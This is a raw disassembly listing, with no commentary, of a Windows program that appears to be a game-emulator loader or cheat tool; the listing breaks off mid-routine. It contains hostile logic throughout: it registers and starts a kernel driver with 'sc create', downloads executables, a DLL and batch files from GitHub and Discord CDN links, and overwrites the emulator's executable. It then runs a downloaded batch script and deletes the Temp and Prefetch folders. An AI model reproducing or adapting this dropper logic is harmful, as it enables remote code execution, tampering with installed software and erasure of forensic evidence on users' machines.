call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov edx, 0x63ab68
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, 0x6567c8
call fcn.0044cee0
call fcn.00450ab0
test al, al
jne 0x457b6d
push str.C:SC_LICENSE.ini
lea ecx, [ebp - 0x50]
call fcn.0045c9f0
lea ecx, [ebp - 0x50]
call fcn.00450a70
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x441], al
call fcn.0045c9a0
cmp byte [ebp - 0x441], 0
je 0x457b65
push str.del_C:SC_LICENSE.ini
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov ecx, 0x6567c8
call fcn.0044cee0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x47
movups xmmword [ecx], xmm0
push str.sc_create_driver_binPath_C:WindowsMEMEORYVIPdriver.sys__typefilesys
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0xf
push str.sc_start_driver
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
push str.C:WindowsExit.bat
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0x1c
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x2c]
movups xmmword [ebp - 0x2c], xmm0
push 7
push str.adb.exe
call fcn.00460400
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push 0x63aa98
cmova eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x457c21
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x441], 0
jmp 0x457c28
mov byte [ebp - 0x441], 1
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x457c5e
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x457c54
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x457c54
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c22ac
add esp, 8
cmp byte [ebp - 0x441], 0
mov edi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
je 0x457c7f
push 0
push 0
push str.adb.exe
push str.https:__github.com_dark31hfa_gg_raw_main_adb.exe
push 0
call edi
push 0xd
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.AdbWinApi.dll
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.00460400
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push 0x63aa98
cmova eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x457cd4
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x441], 0
jmp 0x457cdb
mov byte [ebp - 0x441], 1
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x457d11
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x457d07
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x457d07
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c22ac
add esp, 8
cmp byte [ebp - 0x441], 0
je 0x457d2c
push 0
push 0
push str.AdbWinApi.dll
push str.https:__github.com_dark31hfa_gg_raw_main_AdbWinApi.dll
push 0
call edi
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.C:WindowsExit.bat
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.00460400
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push 0x63aa98
cmova eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x457d81
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x441], 0
jmp 0x457d88
mov byte [ebp - 0x441], 1
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x457dbe
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x457db4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x457db4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c22ac
add esp, 8
cmp byte [ebp - 0x441], 0
je 0x457dd9
push 0
push 0
push str.C:WindowsExit.bat
push str.https:__cdn.discordapp.com_attachments_1095117169467076679_1143565276105953350_Exit.bat
push 0
call edi
push 0x39
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.C:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.00460400
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push 0x63aa98
cmova eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x457e2e
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x441], 0
jmp 0x457e35
mov byte [ebp - 0x441], 1
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x457e6b
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x457e61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x457e61
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c22ac
add esp, 8
cmp byte [ebp - 0x441], 0
je 0x457e86
push 0
push 0
push str.C:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
push str.https:__github.com_dark31hfa_1g1g31g356545e6eeytdtyteytye_raw_main_AndroidEmulatorEx.exe
push 0
call edi
push 0x39
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.C:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.00460400
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push 0x63aa98
cmova eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x457edb
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x441], 0
jmp 0x457ee2
mov byte [ebp - 0x441], 1
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x457f18
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x457f0e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x457f0e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c22ac
add esp, 8
cmp byte [ebp - 0x441], 0
je 0x457f38
push 0
push 0
push str.C:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
push str.https:__github.com_dark31hfa_1g1g31g356545e6eeytdtyteytye_raw_main_AndroidEmulatorEx.exe
push 0
call edi
jmp 0x45820a
push 0x39
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.D:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.00460400
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push 0x63aa98
cmova eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x457f8d
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x441], 1
jmp 0x457f94
mov byte [ebp - 0x441], 0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x457fca
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x457fc0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x457fc0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c22ac
add esp, 8
cmp byte [ebp - 0x441], 0
je 0x45800a
push 0
push 0
push str.D:Program_FilesTxGameAssistantuiAdbReset_REG.bat
push str.https:__cdn.discordapp.com_attachments_849744618283073546_1029834863001489438_AdbReset_REG.bat
push 0
call edi
push 0
push 0
push str.D:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
push str.https:__github.com_dark31hfa_1g1g31g356545e6eeytdtyteytye_raw_main_AndroidEmulatorEx.exe
push 0
call edi
push 0x80
push 0
push 0
push str.D:Program_FilesTxGameAssistantuiAdbReset_REG.bat
jmp 0x4581fd
push 0x39
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.E:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.00460400
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push 0x63aa98
cmova eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x45805f
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x441], 1
jmp 0x458066
mov byte [ebp - 0x441], 0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x45809c
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x458092
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x458092
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c22ac
add esp, 8
cmp byte [ebp - 0x441], 0
je 0x4580dc
push 0
push 0
push str.E:Program_FilesTxGameAssistantuiAdbReset_REG.bat
push str.https:__cdn.discordapp.com_attachments_849744618283073546_1029834863001489438_AdbReset_REG.bat
push 0
call edi
push 0
push 0
push str.E:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
push str.https:__github.com_dark31hfa_1g1g31g356545e6eeytdtyteytye_raw_main_AndroidEmulatorEx.exe
push 0
call edi
push 0x80
push 0
push 0
push str.E:Program_FilesTxGameAssistantuiAdbReset_REG.bat
jmp 0x4581fd
push str.F:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x50]
call fcn.0045c9f0
lea ecx, [ebp - 0x50]
call fcn.00450a70
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x441], al
call fcn.0045c9a0
cmp byte [ebp - 0x441], 0
je 0x45813f
push 0
push 0
push str.F:Program_FilesTxGameAssistantuiAdbReset_REG.bat
push str.https:__cdn.discordapp.com_attachments_849744618283073546_1029834863001489438_AdbReset_REG.bat
push 0
call edi
push 0
push 0
push str.F:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
push str.https:__github.com_dark31hfa_1g1g31g356545e6eeytdtyteytye_raw_main_AndroidEmulatorEx.exe
push 0
call edi
push 0x80
push 0
push 0
push str.F:Program_FilesTxGameAssistantuiAdbReset_REG.bat
jmp 0x4581fd
push str.G:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x50]
call fcn.0045c9f0
lea ecx, [ebp - 0x50]
call fcn.00450a70
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x441], al
call fcn.0045c9a0
cmp byte [ebp - 0x441], 0
je 0x45819f
push 0
push 0
push str.G:Program_FilesTxGameAssistantuiAdbReset_REG.bat
push str.https:__cdn.discordapp.com_attachments_849744618283073546_1029834863001489438_AdbReset_REG.bat
push 0
call edi
push 0
push 0
push str.G:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
push str.https:__github.com_dark31hfa_1g1g31g356545e6eeytdtyteytye_raw_main_AndroidEmulatorEx.exe
push 0
call edi
push 0x80
push 0
push 0
push str.G:Program_FilesTxGameAssistantuiAdbReset_REG.bat
jmp 0x4581fd
push str.H:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x50]
call fcn.0045c9f0
lea ecx, [ebp - 0x50]
call fcn.00450a70
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x441], al
call fcn.0045c9a0
cmp byte [ebp - 0x441], 0
je 0x45820a
push 0
push 0
push str.H:Program_FilesTxGameAssistantuiAdbReset_REG.bat
push str.https:__cdn.discordapp.com_attachments_849744618283073546_1029834863001489438_AdbReset_REG.bat
push 0
call edi
push 0
push 0
push str.H:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
push str.https:__github.com_dark31hfa_1g1g31g356545e6eeytdtyteytye_raw_main_AndroidEmulatorEx.exe
push 0
call edi
push 0x80
push 0
push 0
push str.H:Program_FilesTxGameAssistantuiAdbReset_REG.bat
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push str.C:Users_username_AppDataLocalTemp
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
push str.C:WindowsTemp
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
push str.C:WindowsPrefetch
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
mov edx, str.__1___GLOBAL____2___TAIWAN____3___KOREA____4___VIETNAM__n
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4503d0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._Your_Choice_:
mov ecx, eax
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
mov eax, dword [ebp - 0x38]
cmp eax, 3
jne 0x45868e
push 0x39
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.C:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.00460400
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push 0x63aa98
cmova eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x4582d2
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x441], 1
jmp 0x4582d9
mov byte [ebp - 0x441], 0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x45830f
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x458305
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x458305
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c22ac
add esp, 8
cmp byte [ebp - 0x441], 0
je 0x45832a
push 0
push 0
push str.C:Program_FilesTxGameAssistantuiDefaultKeyMapping.xml
push str.https:__github.com_dark31hfa_DARJ_raw_main_DefaultKeyMapping.xml
push 0
call edi
push 0x39
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.C:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.00460400
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push 0x63aa98
cmova eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x45837f
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x441], 1
jmp 0x458386
mov byte [ebp - 0x441], 0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x4583bc
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4583b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4583b2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c22ac
add esp, 8
cmp byte [ebp - 0x441], 0
je 0x4583d7
push 0
push 0
push str.C:Program_FilesTxGameAssistantuiGameSidebar.xml
push str.https:__github.com_dark31hfa_DARJ_raw_main_GameSidebar.xml
push 0
call edi
push 0x39
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.C:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.00460400
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push 0x63aa98
cmova eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x45842c
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x441], 1
jmp 0x458433
mov byte [ebp - 0x441], 0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x458469
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45845f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45845f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c22ac
add esp, 8
cmp byte [ebp - 0x441], 0
je 0x458484
push 0
push 0
push str.C:Program_FilesTxGameAssistantuiGameSidebar.xml
